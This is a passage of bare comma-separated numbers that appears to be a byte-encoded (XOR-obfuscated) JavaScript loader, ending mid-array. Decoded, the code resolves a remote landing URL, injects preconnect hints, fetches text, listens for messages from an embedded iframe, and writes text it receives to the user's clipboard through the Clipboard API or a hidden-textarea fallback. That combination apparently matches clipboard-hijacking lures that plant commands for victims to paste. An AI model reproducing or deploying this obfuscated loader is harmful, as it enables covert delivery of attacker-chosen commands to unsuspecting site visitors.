80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,